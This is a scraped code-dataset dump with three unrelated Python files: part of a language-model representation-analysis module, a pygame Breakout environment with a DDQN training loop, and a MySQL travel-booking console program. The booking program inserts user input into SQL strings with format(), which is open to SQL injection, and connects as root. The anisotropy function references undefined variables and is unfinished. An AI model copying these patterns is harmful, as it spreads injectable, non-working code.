.drop(\"timeid\")\n .squeeze()\n )\n\n # Figure out how many PCs we attempt to fit\n n_comp = np.min([layer_dataset.shape[1], layer_dataset.shape[0]])\n\n # Get explained variance\n decomp_method = get_decomposition_method(method=method, n_comp=n_comp, **kwargs)\n\n decomp_method.fit(layer_dataset.values)\n explained_variance = decomp_method.explained_variance_ratio_\n\n # Get the number of PCs needed to explain the variance threshold\n explained_variance_cum = np.cumsum(explained_variance)\n n_pc_needed = np.argmax(explained_variance_cum >= variance_threshold) + 1\n\n # Store per layer\n layer_id = str(layer_id)\n print(\n f\"Layer {layer_id}: {n_pc_needed} PCs needed to explain {variance_threshold} variance \"\n f\"with the 1st PC explaining {explained_variance[0]:.2f}% of the total variance\"\n )\n\n variance_across_layers[f\"n_comp-{method}_needed-{variance_threshold}\"][\n layer_id\n ] = n_pc_needed\n variance_across_layers[f\"first_comp-{method}_explained_variance\"][\n layer_id\n ] = explained_variance[0]\n\n return variance_across_layers\n\n\ndef get_layer_sparsity(\n ann_encoded_dataset, zero_threshold: float = 0.0001, **kwargs\n) -> xr.Dataset:\n \"\"\"\n Check how sparse activations within a given layer are.\n\n Sparsity is defined as 1 - values below the zero_threshold / total number of values.\n\n Args:\n ann_encoded_dataset (xr.Dataset): ANN encoded dataset\n zero_threshold (float): Threshold to use for determining sparsity (default: 0.0001)\n **kwargs: Additional keyword arguments to pass to the underlying method\n\n Returns:\n sparsity_across_layers (dict): Nested dict with value of interest as key (e.g., sparsity) and\n layer id as key (e.g., 0, 1, 2, ...) with corresponding values.\n\n \"\"\"\n # Obtain embedding dimension (for sanity checks)\n # if self.model_specs[\"hidden_emb_dim\"]:\n # hidden_emb_dim = self.model_specs[\"hidden_emb_dim\"]\n # else:\n # hidden_emb_dim = None\n # log(\n # f\"Hidden embedding dimension not specified yet\",\n # cmap=\"WARN\",\n # type=\"WARN\",\n # )\n\n ks = [f\"sparsity-{zero_threshold}\"]\n sparsity_across_layers = {k: {} for k in ks}\n\n # Get the PCA explained variance per layer\n layer_ids = ann_encoded_dataset.layer.values\n _, unique_ixs = np.unique(layer_ids, return_index=True)\n\n # Make sure that layer order is preserved\n for layer_id in tqdm(layer_ids[np.sort(unique_ixs)]):\n layer_dataset = (\n ann_encoded_dataset.isel(neuroid=(ann_encoded_dataset.layer == layer_id))\n .drop(\"timeid\")\n .squeeze()\n )\n\n # if hidden_emb_dim is not None:\n # assert layer_dataset.shape[1] == hidden_emb_dim\n #\n # Get sparsity\n zero_values = count_zero_threshold_values(layer_dataset.values, zero_threshold)\n sparsity = 1 - (zero_values / layer_dataset.size)\n\n # Store per layer\n layer_id = str(layer_id)\n print(f\"Layer {layer_id}: {sparsity:.3f} sparsity\")\n\n sparsity_across_layers[f\"sparsity-{zero_threshold}\"][layer_id] = sparsity\n\n return sparsity_across_layers\n\n\ndef cos_contrib(\n emb1: np.ndarray,\n emb2: np.ndarray,\n):\n \"\"\"\n Cosine contribution function defined in eq. 3 by Timkey & van Schijndel (2021): https://arxiv.org/abs/2109.04404\n\n Args:\n emb1 (np.ndarray): Embedding vector 1\n emb2 (np.ndarray): Embedding vector 2\n\n Returns:\n cos_contrib (float): Cosine contribution\n\n \"\"\"\n\n numerator_terms = emb1 * emb2\n denom = np.linalg.norm(emb1) * np.linalg.norm(emb2)\n return numerator_terms / denom\n\n\ndef get_anisotropy(\n ann_encoded_dataset: \"EncoderRepresentations\", num_random_samples: int = 1000\n):\n \"\"\"\n Calculate the anisotropy of the embedding vectors as Timkey & van Schijndel (2021): https://arxiv.org/abs/2109.04404\n (base function from their GitHub repo: https://github.com/wtimkey/rogue-dimensions/blob/main/replication.ipynb,\n but modified to work within the Language Brain-Score project)\n\n\n \"\"\"\n rogue_dist = []\n num_toks = len(ann_encoded_dataset.sampleid) # Number of stimuli\n\n # randomly sample embedding pairs to compute avg. cosine similiarity contribution\n random_pairs = [\n random.sample(range(num_toks), 2) for i in range(num_random_samples)\n ]\n\n cos_contribs_by_layer = []\n\n layer_ids = ann_encoded_dataset.layer.values\n _, unique_ixs = np.unique(layer_ids, return_index=True)\n\n for layer_id in tqdm(layer_ids[np.sort(unique_ixs)]):\n layer_dataset = (\n ann_encoded_dataset.isel(neuroid=(ann_encoded_dataset.layer == layer_id))\n .drop(\"timeid\")\n .squeeze()\n )\n\n layer_cosine_contribs = []\n layer_rogue_cos_contribs = []\n for pair in random_pairs:\n emb1 = sample_data[layer, pair[0], :] # fix\n emb2 = sample_data[layer, pair[1], :]\n layer_cosine_contribs.append(cos_contrib(emb1, emb2))\n\n layer_cosine_contribs = np.array(layer_cosine_contribs)\n layer_cosine_sims = layer_cosine_contribs.sum(axis=1)\n layer_cosine_contribs_mean = layer_cosine_contribs.mean(axis=0)\n cos_contribs_by_layer.append(layer_cosine_contribs_mean)\n cos_contribs_by_layer = np.array(cos_contribs_by_layer)\n\n aniso = cos_contribs_by_layer.sum(\n axis=1\n ) # total anisotropy, measured as avg. cosine sim between random emb. pairs\n\n for layer in range(num_layers[model_name]):\n top_3_dims = np.argsort(cos_contribs_by_layer[layer])[-3:]\n top = cos_contribs_by_layer[layer, top_3_dims[2]] / aniso[layer]\n second = cos_contribs_by_layer[layer, top_3_dims[1]] / aniso[layer]\n third = cos_contribs_by_layer[layer, top_3_dims[0]] / aniso[layer]\n print(\n \"& {} & {:.3f} & {:.3f} & {:.3f} & {:.3f} \\\\\\\\\".format(\n layer, top, second, third, aniso[layer]\n )\n )\n","repo_name":"language-brainscore/langbrainscore","sub_path":"langbrainscore/utils/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":20714,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"28086992445","text":"import math\nimport time\n\nimport numpy as np\nimport random\n\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\n\nimport pygame\n\nfrom ddqn_keras import DDQNAgent\nfrom utils import plotLearning\n\nimport ipdb\n\n\nnp.set_printoptions(formatter={'float': '{: 0.2f}'.format}, suppress=True) \n\nREWARD = 1\nPENALTY = -1\n\nGAME_HEIGHT = 100\nGAME_WIDTH = 400\n# The top of the block (y position)\ntop = 20 \n# Number of blocks to create\nblockcount = 8\nSPEED = 5\nFPS = 1\nSHOW_EVERY = 1\n# Define some colors\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\nblue = (0, 0, 255)\n \n# Size of break-out blocks\nblock_width = 23\nblock_height = 15\n\nclass Block(pygame.sprite.Sprite):\n \"\"\"This class represents each block that will get knocked out by the ball\n It derives from the \"Sprite\" class in Pygame \"\"\"\n \n def __init__(self, color, x, y):\n \"\"\" Constructor. Pass in the color of the block,\n and its x and y position. \"\"\"\n \n # Call the parent class (Sprite) constructor\n super().__init__()\n \n # Create the image of the block of appropriate size\n # The width and height are sent as a list for the first parameter.\n self.image = pygame.Surface([block_width, block_height])\n \n # Fill the image with the appropriate color\n self.image.fill(color)\n \n # Fetch the rectangle object that has the dimensions of the image\n self.rect = self.image.get_rect()\n \n # Move the top left of the rectangle to x,y.\n # This is where our block will appear..\n self.rect.x = x\n self.rect.y = y\n \n \nclass Ball(pygame.sprite.Sprite):\n \"\"\" This class represents the ball\n It derives from the \"Sprite\" class in Pygame \"\"\"\n \n # Speed in pixels per cycle\n speed = SPEED\n \n # Floating point representation of where the ball is\n x = 0.0\n y = 0.0\n \n width = SPEED\n height = SPEED\n \n # Constructor. Pass in the color of the block, and its x and y position\n def __init__(self):\n # Call the parent class (Sprite) constructor\n super().__init__()\n \n # Create the image of the ball\n self.image = pygame.Surface([self.width, self.height])\n \n # Color the ball\n self.image.fill(white)\n \n # Get a rectangle object that shows where our image is\n self.rect = self.image.get_rect()\n \n # Get attributes for the height/width of the screen\n self.screenheight = pygame.display.get_surface().get_height()\n self.screenwidth = pygame.display.get_surface().get_width()\n \n self.x = GAME_WIDTH/2\n # Direction of ball (in degrees)\n # self.direction = np.random.choice([180+75, 180-75, 0], 1)[0]\n self.direction = random.randint(180-75, 180+75)\n # self.direction = 180\n # rnd = random.randint(1, 100)\n # if rnd <= 50:\n # self.direction = 75\n # else:\n # self.direction = 360-75\n \n def bounce(self, diff):\n \"\"\" This function will bounce the ball\n off a horizontal surface (not a vertical one) \"\"\"\n \n self.direction = (180 - self.direction) % 360\n # self.direction -= diff \n # Avoid loops\n if self.direction % 90 < 1:\n self.direction += 1\n elif self.direction % 90 > 89:\n self.direction -= 1\n \n def update(self):\n result = 0\n \"\"\" Update the position of the ball. \"\"\"\n # Sine and Cosine work in degrees, so we have to convert them\n direction_radians = math.radians(self.direction)\n \n # Change the position (x and y) according to the speed and direction\n self.x += self.speed * math.sin(direction_radians)\n self.y -= self.speed * math.cos(direction_radians)\n \n # Move the image to where our x and y are\n self.rect.x = self.x\n self.rect.y = self.y\n \n # Do we bounce off the top of the screen?\n if self.y <= 0:\n result = 1 # Win\n self.bounce(0)\n self.y = 1\n \n # Do we bounce off the left of the screen?\n if self.x <= 0:\n self.direction = (360 - self.direction) % 360\n self.x = 1\n \n # Do we bounce of the right side of the screen?\n if self.x > self.screenwidth - self.width:\n self.direction = (360 - self.direction) % 360\n self.x = self.screenwidth - self.width - 1\n \n # Did we fall off the bottom edge of the screen?\n if self.y > GAME_HEIGHT:\n self.y = 0.0\n result = 2 #'Lost'\n \n return result\n \n \nclass Player(pygame.sprite.Sprite):\n \"\"\" This class represents the bar at the bottom that the\n player controls. \"\"\"\n \n def __init__(self):\n \"\"\" Constructor for Player. \"\"\"\n # Call the parent's constructor\n super().__init__()\n \n self.width = SPEED*8\n self.height = SPEED+1\n self.image = pygame.Surface([self.width, self.height])\n self.image.fill((white))\n \n # Make our top-left corner the passed-in location.\n self.rect = self.image.get_rect()\n self.screenheight = pygame.display.get_surface().get_height()\n self.screenwidth = pygame.display.get_surface().get_width()\n \n self.rect.x = GAME_WIDTH/2 \n self.rect.y = self.screenheight-self.height\n \n def update(self):\n \"\"\" Update the player position. \"\"\"\n # Get where the mouse is\n # pos = pygame.mouse.get_pos()\n key_pressed = [i for i, k in enumerate(pygame.key.get_pressed()) if k==1]\n # print(key_pressed[79], key_pressed[80])\n if len(key_pressed) >0:\n if key_pressed[0] == 79:\n self.rect.x += SPEED*4\n elif key_pressed[0] == 80:\n self.rect.x -= SPEED*4\n # Set the left side of the player bar to the mouse position\n # self.rect.x = pos[0]\n # Make sure we don't push the player paddle\n # off the right side of the screen\n if self.rect.x > self.screenwidth - self.width:\n self.rect.x = self.screenwidth - self.width\n elif self.rect.x <= 0:\n self.rect.x = 0\n\n\nclass Arcanoid(gym.Env):\n \"\"\"\n Description:\n The agent (a paddle) is started. For any given\n state the agent may choose to move to the left, right or cease\n any movement.\n Observation:\n Type: Box(2)\n Num Observation \n 0 Paddle Position (x) \n 1 Ball Position (x,y) \n Actions:\n Type: Discrete(3)\n Num Action\n 0 Move to the Left\n 1 Don't move\n 2 Move to the Right\n Reward:\n TBD\n \"\"\"\n\n def __init__(self, goal_velocity=0):\n \n # Call this function so the Pygame library can initialize itself\n pygame.init()\n \n # Create a screen\n self.screen = pygame.display.set_mode([GAME_WIDTH, GAME_HEIGHT])\n \n # Set the title of the window\n pygame.display.set_caption('Breakout')\n \n # Enable this to make the mouse disappear when over our window\n # pygame.mouse.set_visible(0)\n \n # This is a font we use to draw text on the screen (size 36)\n font = pygame.font.Font(None, 36)\n \n # Create a surface we can draw on\n background = pygame.Surface(self.screen.get_size())\n \n # Create sprite lists\n self.blocks = pygame.sprite.Group()\n self.balls = pygame.sprite.Group()\n self.allsprites = pygame.sprite.Group()\n \n # Create the player paddle object\n self.player = Player()\n self.allsprites.add(self.player)\n \n # Create the ball\n self.ball = Ball()\n self.allsprites.add(self.ball)\n self.balls.add(self.ball)\n\n self.low = np.array(\n [0, 0, 0], dtype=np.float32\n )\n self.high = np.array(\n [GAME_WIDTH, GAME_WIDTH, GAME_HEIGHT], dtype=np.float32\n )\n\n self.action_space = spaces.Discrete(3)\n self.observation_space = spaces.Box(\n self.low, self.high, dtype=np.float32\n )\n\n self.seed()\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n\n def step(self, action):\n done = False\n reward = 0\n\n # Limit to 30 fps\n # clock.tick(FPS)\n \n # Clear the screen\n self.screen.fill(black)\n \n # Process the events in the game\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_program = True\n\n if action == 0:\n self.player.rect.x -= SPEED*2 \n elif action == 2:\n self.player.rect.x += SPEED*2\n \n \n # Update the player and ball positions\n self.player.update()\n res = self.ball.update()\n if res == 2: # Lost\n reward = PENALTY\n done = True\n elif res == 1: # Win\n reward = REWARD\n # done = True\n\n # if abs(self.player.rect.x + 20 - self.ball.x) <= 10:\n # if random.randint(1, 100) <= 5:\n # reward = REWARD\n # else:\n # reward = PENALTY\n\n # See if the ball hits the player paddle\n if pygame.sprite.spritecollide(self.player, self.balls, False): \n # The 'diff' lets you try to bounce the ball left or right\n # depending where on the paddle you hit it\n diff = (self.player.rect.x + self.player.width/2) - (self.ball.rect.x+self.ball.width/2)\n \n # Set the ball's y position in case\n # we hit the ball on the edge of the paddle\n self.ball.y = self.screen.get_height() - self.player.rect.height - self.ball.rect.height - SPEED\n self.ball.bounce(diff)\n\n # Check for collisions between the ball and the blocks\n deadblocks = pygame.sprite.spritecollide(self.ball, self.blocks, True)\n \n # If we actually hit a block, bounce the ball\n if len(deadblocks) > 0:\n self.ball.bounce(0)\n \n self.state = np.array([self.player.rect.x, self.ball.x, self.ball.y])\n return self.state, reward, done, {}\n\n def reset(self):\n self.__init__()\n x = random.randint(0, GAME_WIDTH)\n self.player.rect.x = x + np.random.randint(-3*self.player.width, 3*self.player.width, 1)[0]\n self.ball.x = x\n # self.ball.y = 0\n self.state = np.array([self.player.rect.x, self.ball.x, self.ball.y])\n return self.state\n\n def render(self):\n # Draw Environment\n self.allsprites.draw(self.screen) \n # Flip the screen and show what we've drawn\n pygame.display.flip()\n\n def close(self): \n pygame.quit()\n\n \n# Clock to limit speed\nclock = pygame.time.Clock()\n \n# Exit the program?\nexit_program = False\n \nenv = Arcanoid()\nddqn_agent = DDQNAgent(alpha=0.005, gamma=0.99, n_actions=env.action_space.n, epsilon=1.0,\n batch_size=64, input_dims=env.observation_space.shape[0]*2, replace_target=1000)\nddqn_scores = []\neps_history = []\nhistory = []\nn_games = 500_000\nstart = time.time()\nfor i in range(n_games):\n done = False\n observation = env.reset()\n observation = observation / [GAME_WIDTH, GAME_WIDTH, GAME_HEIGHT]\n observation = np.append([-1,-1,-1], observation) \n while not done:\n action = ddqn_agent.choose_action(observation)\n observation_, reward, done, info = env.step(action)\n observation_ = observation_ / [GAME_WIDTH, GAME_WIDTH, GAME_HEIGHT]\n observation_ = np.append(observation[-3:], observation_) \n if not i or not i % SHOW_EVERY:\n env.render()\n # ipdb.set_trace()\n \n ddqn_agent.remember(observation, action, reward, observation_, int(done))\n\n observation = observation_\n if random.randint(1, 100) <= 15:\n ddqn_agent.learn()\n\n # Display\n eps_history.append(ddqn_agent.epsilon)\n ddqn_scores.append(reward)\n if not ddqn_agent.memory.mem_cntr % 1_000:\n pos = []\n neg = []\n for r in ddqn_scores[-1_000:]:\n if r > 0:\n pos.append(r)\n else:\n neg.append(r)\n ratio = np.sum(pos) / (np.sum(pos) + abs(np.sum(neg))) \n\n end = time.time()\n print('episode: ', i, ' ratio %.2f' % ratio,\n ' rewards %.2f' % np.sum(pos), ' penalties %.2f' % np.sum(neg), f'epsilon {ddqn_agent.epsilon:.2f}',\n f'mem_cntr {ddqn_agent.memory.mem_cntr}, time {end - start:.2f}'\n # f'reward_memory {ddqn_agent.reward_memory.mem_cntr}, penalty_memory {ddqn_agent.penalty_memory.mem_cntr}, other_memory {ddqn_agent.other_memory.mem_cntr}, '\n )\n start = time.time()\n \n\n# x = [i+1 for i in range(n_games)]\n# plotLearning(x, ddqn_scores, eps_history, 'Arcanoid-ddqn.png')\nenv.close()","repo_name":"maratbunyatov/reinforcement_learning","sub_path":"dqn/Arcanoid_keras.py","file_name":"Arcanoid_keras.py","file_ext":"py","file_size_in_byte":13043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17596202196","text":"import mysql.connector as dbm\r\nconn=dbm.connect(host=\"localhost\",user=\"root\",passwd=\" \",database=\"software\")\r\ncur=conn.cursor()\r\n\r\n\r\n#clearing python IDLE console\r\ndef clear():\r\n print(\"\\n\"*50)\r\n\r\n\r\n #PACKAGE TABLE\r\n\r\n \r\n##to add a new package\r\ndef package_new():\r\n ch='y'\r\n while(ch.lower()=='y'):\r\n packages=input(\"\\n\\n\\tEnter the new package :\")\r\n budget=int(input(\"\\tEnter the buget for the package :\"))\r\n no_days=int(input(\"\\tEnter the duration for the new package :\"))\r\n food_and_accomodation=input(\"\\tEnter whether the food and accommodation are provided or not :\")\r\n data=(packages,budget,no_days,food_and_accomodation)\r\n cur.execute(\"insert into packtab(packages,budget,no_days,food_and_accomodation) values(%s,%s,%s,%s)\",(data))\r\n print()\r\n print()\r\n print(cur.rowcount,\"records inserted\")\r\n conn.commit()\r\n ch=input(\"\\n\\t Do you want to continue inserting?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n \r\n\r\n\r\n#to view packages\r\ndef pack_view():\r\n print(\"\\n\\nPackage_Id place Buget No of days Stay and Food\")\r\n print(\"===============================================================================================================\")\r\n for x in cur:\r\n print(\"%-15s %-28s %-15s %-12s %-15s\"%(x[0],x[1],x[2],x[3],x[4]))\r\n return\r\ndef display():\r\n cur.execute(\"select*from packtab\")\r\n pack_view()\r\n clear()\r\n\r\n \r\n##to update a package\r\ndef update_pack():\r\n so='y'\r\n while so.lower()=='y':\r\n plname=input(\"\\n\\tEnter the name of the place/destination which you need to update :\")\r\n cur.execute(\"select*from packtab where packages='{}'\".format(plname))\r\n pack_view()\r\n Id=int(input(\"\\n\\n\\tPlease enter the Id of the Packages to be updated :\"))\r\n print(\"\\n\\n\\tPLEASE ENTER THE NEW DETAILS...\")\r\n place=input(\"\\n\\tEnter the Destination :\")\r\n buget=int(input(\"\\tEnter the budget :\"))\r\n days=int(input(\"\\tEnter the Duration :\"))\r\n fa=input(\"\\tEnter whether food and accommodation is provided or not :\")\r\n data=(place,buget,days,fa,Id)\r\n cur.execute(\"update packtab set packages=%s,budget=%s,no_days=%s,food_and_accomodation=%s where package_id=%s\",(data))\r\n conn.commit()\r\n print(\"\\n\\n\\tRecord Updated Successfully...!\")\r\n ch=input(\"\\n\\tDo you want to view the updated list? press y/n :\")\r\n if ch.lower()=='y':\r\n display()\r\n conn.commit()\r\n else:\r\n print(\"\\n\\n\\tTHANK YOU FOR UPDATING...!\")\r\n so=input(\"\\n\\n\\t\\tDo you want to continue updating?? press y/n :\")\r\n if so.lower()=='n':\r\n clear()\r\n return\r\n\r\n\r\n##to delete a package\r\ndef del_pack():\r\n ch='y'\r\n while(ch.lower()=='y'):\r\n cur.execute(\"select*from packtab\")\r\n pack_view()\r\n nm=input(\"\\n\\n\\tplease enter the name of the package to be cancelled :\")\r\n cur.execute(\"select*from packtab where packages='{}'\".format(nm))\r\n pack_view()\r\n Id=int(input(\"\\n\\tPlease enter the id of the package to be deleted :\"))\r\n cur.execute(\"\\tDelete from packtab where package_id='{}'\".format(Id))\r\n conn.commit()\r\n print(\"\\n\\n\\tRECORD DELETED SUCCESSFULLY....!\")\r\n ch=input(\"\\n\\tDo you want to continue? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n \r\n\r\n\r\n #ORGANISER TABLE\r\n \r\n#to add a new organiser\r\ndef new_org():\r\n ch='y'\r\n while(ch.lower()=='y'):\r\n Or_id=input(\"\\n\\n\\tEnter the new organiser id :\")\r\n name=input(\"\\tEnter the name :\")\r\n dept=input(\"\\tEnter the department of the new member :\")\r\n ph_no=input(\"\\tEnter the phone number :\")\r\n add=input(\"\\tEnter the address :\")\r\n doj=input(\"\\tEnter the date of joining :\")\r\n data=(Or_id,name,dept,ph_no,add,doj)\r\n cur.execute(\"insert into orgtab(or_id,name,dept,ph_no,address,doj) values(%s,%s,%s,%s,%s,%s)\",(data))\r\n print()\r\n print()\r\n print(cur.rowcount,\"records inserted\")\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to insert more?? Press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n\r\n#to view all organisers\r\ndef org_top():\r\n print(\"\\n\\nSI_no OR_Id Name Department Ph_no Address DOJ\")\r\n print(\"------------------------------------------------------------------------------------------------------------\")\r\n for a,s,d,f,h,j,k in cur:\r\n print(\"%-5s %-10s %-15s %-17s %-12s %-27s %-10s\"%(a,s,d,f,h,j,k)) \r\n return\r\ndef view_org():\r\n while True:\r\n print(\"\\n\\n\\tChechk Via....\")\r\n print(\"\\n\\t1 :By DEPARTMENT\")\r\n print(\"\\t2 :By DOJ\")\r\n print(\"\\t3 :To VIEW THE FULL LIST\")\r\n print(\"\\t4 :Return\")\r\n opt=int(input(\"Enter your choice :\"))\r\n if opt==1:\r\n dpt=input(\"\\n\\tEnter the depatment you need to view :\")\r\n cur.execute(\"select*from orgtab where dept='{}'\".format(dpt))\r\n org_top()\r\n elif opt==2:\r\n dt=input(\"\\n\\tEnter the date you need to view :\")\r\n cur.execute(\"select*from orgtab where doj='{}'\".format(dt))\r\n org_top()\r\n elif opt==3:\r\n cur.execute(\"select*from orgtab\")\r\n org_top()\r\n elif opt==4:\r\n return\r\n else:\r\n print(\"\\n\\n\\tPLEASE ENTER A VALID OPTION AND TRY AGAIN :)\")\r\n return\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to view/search more?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n\r\n\r\n##to update the details \r\ndef upd_org():\r\n while True:\r\n dpt=input(\"\\n\\nEnter the Department Of the member to be updated :\")\r\n cur.execute(\"select*from orgtab where dept='{}'\".format(dpt))\r\n org_top()\r\n no=input(\"\\n\\nPlease enter the Si no of the record to be updated :\")\r\n print(\"\\n\\n\\t\\tPLEASE ENTER THE NEW DETAILS....\")\r\n Id=input(\"\\n\\tEnter the id of the member :\")\r\n nm=input(\"\\tEnter the name of the member :\")\r\n dept=input(\"\\tEnter the department :\")\r\n pno=input(\"\\tEnter the phone no :\")\r\n add=input(\"\\tEnter the address :\")\r\n dj=input(\"\\tEnter the Date of Join :\")\r\n data=(Id,nm,dept,pno,add,dj,no)\r\n cur.execute(\"update orgtab set or_id=%s,name=%s,dept=%s,ph_no=%s,address=%s,doj=%s where si_no=%s\",(data))\r\n print(\"\\n\\n\\tRECORD UPDATED SUCCESSFULLY...!\")\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to continue?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n \r\n\r\n\r\n\r\n##to delete a member\r\ndef del_org():\r\n ch='y'\r\n while ch.lower()=='y':\r\n dpt=input(\"\\n\\n\\tEnter the Department Of the member to be deleted :\")\r\n cur.execute(\"select*from orgtab where dept='{}'\".format(dpt))\r\n org_top()\r\n no=input(\"\\n\\n\\tPlease enter the Si no of the record to be deleted :\")\r\n cur.execute(\"delete from orgtab where si_no='{}'\".format(no))\r\n print(\"\\n\\n\\t\\tRECORD DELETED.....\")\r\n conn.commit()\r\n ch=input(\"\\n\\nDo you want to delete more?? please press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n \r\n #CLIENT TABLE\r\n \r\n##to add a client\r\ndef add_clnt():\r\n ch='y'\r\n while(ch.lower()=='y'):\r\n cusname=input(\"\\n\\n\\tEnter the name of the customer :\")\r\n pn_no=input(\"\\tEnter the phone no :\")\r\n add=input(\"\\tEnter the address :\")\r\n pkid=int(input(\"\\tEnter the id of the opted package :\"))\r\n buget=int(input(\"\\tEnter the buget of the opted package :\"))\r\n pdsts=input(\"\\tEnter whether the amount is paid or not :\")\r\n data=(cusname,pn_no,add,pkid,buget,pdsts)\r\n cur.execute(\"insert into custab(cusname,pn_no,address,package_id,budget,paid_status)values(%s,%s,%s,%s,%s,%s)\",(data))\r\n print()\r\n print()\r\n print(cur.rowcount,\"Records Inserted Successfully...!\")\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to insert more?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n\r\n\r\n\r\n##to view the clients by the organisers ##\r\ndef clnt_top():\r\n print(\"\\n\\nUser Id Name Phno Address Package Id Budget Paid Status\")\r\n print(\"------------------------------------------------------------------------------------------------------------------\")\r\n for a,s,d,f,g,h,j in cur:\r\n print(\"%-10s %-15s %-15s %-30s %-10s %-10s %-15s\"%(a,s,d,f,g,h,j))\r\n return\r\ndef clnt_view(): ##\r\n while True:\r\n print(\"\\n\\n\\t\\tCheck Via......\")\r\n print(\"\\n\\t1:BY PLACE OPTED\")\r\n print(\"\\t2:BY PAID STATUS\")\r\n print(\"\\t3:TO VIEW THE FULL LIST\")\r\n ch=int(input(\"\\n\\tPlease enter your choice :\"))\r\n if ch==1:\r\n display()\r\n Id=int(input(\"\\n\\n\\tPlease Enter the package id :\"))\r\n cur.execute(\"select*from custab where package_id='{}'\".format(Id))\r\n clnt_top()\r\n ask=input(\"\\n\\n\\tDo you want to search more?? press y/n :\")\r\n if ask.lower()=='n':\r\n clear()\r\n return\r\n elif ch==2:\r\n sts=input(\"\\n\\n\\tEnter whether the budget is paid/not paid :\")\r\n cur.execute(\"select*from custab where paid_status='{}'\".format(sts))\r\n clnt_top()\r\n conn.commit()\r\n ask=input(\"\\n\\n\\tDo you want to search more?? press y/n :\")\r\n if ask.lower()=='n':\r\n clear()\r\n return\r\n elif ch==3:\r\n cur.execute(\"select*from custab\")\r\n clnt_top()\r\n conn.commit()\r\n ask=input(\"\\n\\n\\tDo you want to search more?? press y/n :\")\r\n if ask.lower()=='n':\r\n clear()\r\n return\r\n else:\r\n print(\"\\n\\tPlease enter a valid value and try again :) \")\r\n \r\n##to view the bio of the clients\r\ndef vw_bio():\r\n Id=int(input(\"\\n\\n\\tPlease enter your UserId :\"))\r\n cur.execute(\"select*from custab where user_id='{}'\".format(Id))\r\n clnt_top()\r\n conn.commit()\r\n return\r\n\r\n\r\n##to update the client bio by organisers\r\ndef clnto_upd(): ##\r\n while True:\r\n Id=int(input(\"\\n\\n\\tPlease enter the User Id of the client :\"))\r\n cur.execute(\"select*from custab where User_id='{}'\".format(Id))\r\n clnt_top()\r\n nm=input(\"\\n\\n\\tEnter the name of the client :\")\r\n pno=input(\"\\tEnter the Phone no :\")\r\n add=input(\"\\tEnter the address of the client :\")\r\n pkid=int(input(\"\\tEnter the ID of the opted package :\"))\r\n bgt=int(input(\"\\tEnter the calculated buget :\"))\r\n pdst=input(\"\\tConform the paid status :\")\r\n data=(nm,pno,add,pkid,bgt,pdst,Id)\r\n cur.execute(\"update custab set cusname=%s,pn_no=%s,address=%s,package_id=%s,budget=%s,paid_status=%s where user_id=%s\",(data))\r\n print()\r\n print(cur.rowcount,\"RECORD UPDATED...!\")\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to continue?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n \r\n\r\n\r\n##to update the bio of a client by themself\r\n\r\ndef clnt_upd():\r\n while True:\r\n Id=int(input(\"\\n\\n\\tPlease enter the User Id :\"))\r\n cur.execute(\"select*from custab where User_id='{}'\".format(Id))\r\n print(\"\\n\\t\\tYour current bio is :\")\r\n clnt_top()\r\n print(\"\\n\\nYOU COULD ONLY CHANGE THE NAME AND PERSONAL DETAILS HERE..FOR FURTHER UPDATION ON THE PACKAGES, PLEASE CONTACT THE ADMINISTRATORS..\")\r\n nm=input(\"\\n\\n\\tEnter the name :\")\r\n pno=input(\"\\tEnter the Phone no :\")\r\n add=input(\"\\tEnter the address :\")\r\n data=(nm,pno,add,Id)\r\n cur.execute(\"update custab set cusname=%s,pn_no=%s,address=%s where user_id=%s\",(data))\r\n print()\r\n print(cur.rowcount,\"RECORD UPDATED...!\")\r\n conn.commit()\r\n ch=input(\"\\n\\n\\tDo you want to continue?? press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n return\r\n\r\n\r\n\r\n\r\n##to delete a client\r\ndef del_clnt():\r\n ch='y'\r\n while ch.lower()=='y': \r\n cur.execute(\"select*from custab\")\r\n clnt_top()\r\n conn.commit()\r\n Id=int(input(\"\\n\\n\\tEnter the ID of the client to be deleted :\"))\r\n cur.execute(\"delete from custab where user_id='{}'\".format(Id))\r\n print(\"\\n\\n\\t\\tRECORD DELETED.....\")\r\n conn.commit()\r\n ch=input(\"\\n\\tDo you want to delete more?? please press y/n :\")\r\n if ch.lower()=='n':\r\n clear()\r\n\r\n\r\n\r\n\r\n ##USING CSV CONCEPT##\r\n \r\n\r\n##to book a package by a customer\r\ndef book():\r\n print(\"\\n\\n\\t\\t\\t\\t\\tBOOKING....\")\r\n clid=int(input(\"\\n\\n\\tPlease enter yours User ID :\"))\r\n nm=input(\"\\tPlease enter your name :\")\r\n print(\"\\n\\n\\tTHE AVAILABLE PACKAGES...\")\r\n cur.execute(\"select*from packtab\")\r\n pack_view()\r\n print(\"\\t\\t\\tPLEASE FILL UP THE FOLLOWING...\")\r\n pkgid=int(input(\"\\n\\n\\tPlease enter the Package ID you wish to order :\"))\r\n pls=input(\"\\tPlease enter the corresponding Destination name :\")\r\n bklst=[clid,nm,pkgid,pls]\r\n import csv\r\n with open(\"project1.csv\",'w',newline='')as newfile:\r\n newfilewriter=csv.writer(newfile)\r\n newfilewriter.writerow(bklst)\r\n newfile.close()\r\n print(\"\\n\\n\\t\\t\\tTHE DATA YOU'VE ENTERED IS 